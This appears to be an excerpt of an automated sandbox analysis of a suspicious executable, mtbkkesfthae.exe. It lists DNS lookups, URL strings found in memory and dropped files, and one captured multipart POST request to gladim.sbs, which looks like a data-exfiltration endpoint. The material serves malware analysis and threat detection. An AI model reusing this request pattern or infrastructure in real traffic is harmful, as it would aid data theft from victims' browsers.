Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6Host: gladim.sbsContent-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: mtbkkesfthae.exe, 00000000.00000003.1243198579.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1243224925.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, FHJDBK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 8232c1f4-05d9-4544-8f26-6aec678c90d9.tmp.16.dr	String found in binary or memory: https://assets.msn.com
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://bard.google.com/
Source: Reporting and NEL.16.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, FHJDBK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.15.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.15.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: edc7ae2f-9a87-43bc-b101-83955177c7da.tmp.16.dr, 8232c1f4-05d9-4544-8f26-6aec678c90d9.tmp.16.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.15.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: edc7ae2f-9a87-43bc-b101-83955177c7da.tmp.16.dr, 8232c1f4-05d9-4544-8f26-6aec678c90d9.tmp.16.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: Reporting and NEL.16.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json.15.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.15.dr	String found in binary or memory: https://drive.google.com/
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log8.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log8.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.15.dr, 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.15.dr, 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.15.dr, 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.15.dr, 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log8.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.15.dr, 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.15.dr, 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.15.dr, 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.15.dr, 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	String found in binary or memory: https://gaana.com/
Source: mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs
Source: mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/
Source: mtbkkesfthae.exe, 00000000.00000003.1319981212.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1342852026.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gladim.sbs/1
